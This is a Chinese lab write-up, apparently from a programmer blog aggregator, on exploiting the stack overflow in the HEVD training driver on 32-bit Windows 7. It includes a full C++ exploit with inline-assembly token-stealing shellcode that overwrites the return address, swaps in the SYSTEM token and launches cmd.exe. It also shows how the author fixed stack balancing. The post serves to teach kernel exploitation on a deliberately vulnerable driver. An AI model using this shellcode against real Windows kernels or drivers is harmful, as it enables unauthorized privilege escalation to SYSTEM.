欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

windows内核提权(一)之栈溢出

程序员文章站 2022-07-15 11:38:43
...

前言

这个学期在做一个安全软件项目,涉及到windows的驱动开发,也因此项目为我敲开了windows内核的大门。这里面的东西奥妙无穷,亟待探索。

环境

  1. HackSystem的作者专门为教学windows内核安全而写了一个漏洞驱动HEVD,里面包含了基本的堆栈溢出漏洞,并附带了EXP。我下载的是最新版的HEVD3.0

  2. windows7 32位

分析

首先使用IDA静态分析一下,找到DriverEntry
windows内核提权(一)之栈溢出
主要关注的是IrpDeviceIoCtHandler这个函数,因为他是属于IRP_MJ_DEVICE_CONTROL(14) 的。
windows内核提权(一)之栈溢出

  • 可以看出这个驱动包含了很多不同类型的漏洞,而今天我的这篇文章主要分析的是第一种栈溢出漏洞,它对应的IOCTL0x222003,对应的漏洞函数是 BufferOverflowStackIoctlHandler(Irp, v4),进去瞧瞧
    windows内核提权(一)之栈溢出
    windows内核提权(一)之栈溢出

  • 获取用户缓冲区和其大小。漏洞在memcpy中的Size没有限制,可能会超过KernelBuffer 的大小。ProbeForRead(UserBuffer, 0x800u, 1u) 检查给定的指针指向的0x800大小的内存是否驻留在用户态空间中,并且按1字节对齐。这个检查对我们的利用并没有影响。

  • 再看作者给出的EXP,这种栈溢出的利用与一般栈溢出相似甚至更为简单,最终都是通过覆盖返回地址去执行shellocde;即使windows7 有DEP保护,不能直接执行栈中的shellcode,但是通过调用VirtualProtect将一块内存变为可执行就可以绕过DEP了。

如何提权

继续分析作者给出的EXP,首先是保存现场,然后

xor eax, eax
mov eax, fs: [eax + KTHREAD_OFFSET] ; 获取当前进程对象 _EPROCESS
mov eax, [eax + EPROCESS_OFFSET]
  • 这实际上是调用了PsGetCurrentProcess
    windows内核提权(一)之栈溢出
  • 此时eax里面就得到了 _EPROCESS 这个结构,这个结构中的某些成员是我们感兴趣的。
    windows内核提权(一)之栈溢出
  • 偏移为0xb4进程ID,偏移0xb8活动进程链表,通过遍历这个链表就能够获取到系统所有的活动进程的 _EPROCESS 结构。
    windows内核提权(一)之栈溢出
  • 最为关键的还属于0xf8偏移处的Token。提权的原理就是将要提权的进程的Token替换成system进程的Token。在Win7 32位下,system进程的PID4
  • 所以我们可以初步写一下这个利用
#include"mydefs.h"

using namespace std;

#define PADDING 2080
HANDLE hDev = INVALID_HANDLE_VALUE;

BOOL GetDevHandle() {
	//打开驱动符号链接
	hDev=CreateFileA(
		SymLinkName,
		GENERIC_READ | GENERIC_WRITE,
		FILE_SHARE_WRITE,
		NULL,
		OPEN_EXISTING,
		FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL,
		NULL
	);

	return hDev != INVALID_HANDLE_VALUE;
}


VOID AttackKernelStack()//攻击内核栈
{
	__asm {
		pushad; 保存堆栈状态
		xor eax, eax
		mov eax, fs: [eax + KTHREAD_OFFSET] ; 获取当前进程对象 _EPROCESS
		mov eax, [eax + EPROCESS_OFFSET]
		mov ebx, eax; ebx保存的是当前进程的_EPROCESS
		mov ecx, SYSTEM_PID

		;开始搜索system进程的_EPROCESS
		SearchSystemPID:
			mov eax, [eax + PROCESS_LINK_OFFSET]
			sub eax, PROCESS_LINK_OFFSET
			cmp[eax + PID_OFFSET], ecx; 判断是否是system的PID
			jne SearchSystemPID

		; 如果是则开始将当前进程的TOKEN替换程system的TOKEN
		mov edx, [eax + TOKEN_OFFSET]; 取得system的TOKEN
		mov[ebx + TOKEN_OFFSET], edx; 替换当前进程的TOKEN
		popad; 恢复堆栈状态

	}
}

INT main() {

	PVOID pUsrBuf = NULL;
	PVOID pExp = &AttackKernelStack;
	ULONG uBufSzie = 2084;
	ULONG uRetSize;
	UCHAR buf[2084] = { 0 };

	if (GetDevHandle()) {
		pUsrBuf = buf;
		RtlFillMemory(pUsrBuf, PADDING, 0x61);//填充垃圾数据
		*(PULONG)((ULONG)pUsrBuf + PADDING) = (ULONG)pExp;//末尾4字节填充为EXP函数地址(小端序)
		DeviceIoControl(hDev, 0x222003, pUsrBuf, (DWORD)uBufSzie, NULL, 0, &uRetSize, NULL);
		CloseHandle(hDev);

		cout << "提权成功!" << endl;
		system("cmd.exe");
	}
	system("pause");
	return 0;
}
  • 首先用WindbgTriggerBufferOverflowStack的头部下断,执行EXP,单步跟一下过程。
    windows内核提权(一)之栈溢出
  • 目前看来已经能够执行我们的 shellcode了,继续单步跟踪
    windows内核提权(一)之栈溢出
  • 但是执行完我们的 shellcode 之后返回到了一个错误地址,原因很明显是堆栈不平衡导致的。
  • 看看没有覆盖到 返回地址的正常情况下,内核中的这个该函数是如何平栈的。
    windows内核提权(一)之栈溢出
  • 原来是通过 pop ebp,ret 8平栈,因此在我们的 shellcode 最后加上这两句。
  • 再次运行还是崩溃了,接着再单步一次看看还有什么地方没有注意到的,结果发现在进入我们的 shellcode 之前
    windows内核提权(一)之栈溢出
  • 进行了三次 push操作,esp-12 而执行完我们的 shellcode之后并没有恢复 esp,因此还得在 pop ebp 之前恢复 esp
VOID AttackKernelStack()//攻击内核栈
{
	__asm {
		pushad; 保存堆栈状态
		xor eax, eax
		mov eax, fs: [eax + KTHREAD_OFFSET] ; 获取当前进程对象 _EPROCESS
		mov eax, [eax + EPROCESS_OFFSET]
		mov ebx, eax; ebx保存的是当前进程的_EPROCESS
		mov ecx, SYSTEM_PID

		;开始搜索system进程的_EPROCESS
		SearchSystemPID:
			mov eax, [eax + PROCESS_LINK_OFFSET]
				sub eax, PROCESS_LINK_OFFSET
				cmp[eax + PID_OFFSET], ecx; 判断是否是system的PID
				jne SearchSystemPID

		; 如果是则开始将当前进程的TOKEN替换程system的TOKEN
		mov edx, [eax + TOKEN_OFFSET]; 取得system的TOKEN
		mov[ebx + TOKEN_OFFSET], edx; 替换当前进程的TOKEN
		popad; 恢复堆栈状态
		
		add esp,12
		pop ebp
		ret 8
	}
}

结果

windows内核提权(一)之栈溢出

  • 此时的权限已经是 system 了。

总结

shellcode的编写要注意堆栈平衡,具体要看漏洞所在的函数,从哪里开始执行,到哪里结束。执行之前有过什么操作改变 esp,执行之后有没有相反的操作恢复 esp以及原函数在返回前如何改变堆栈的。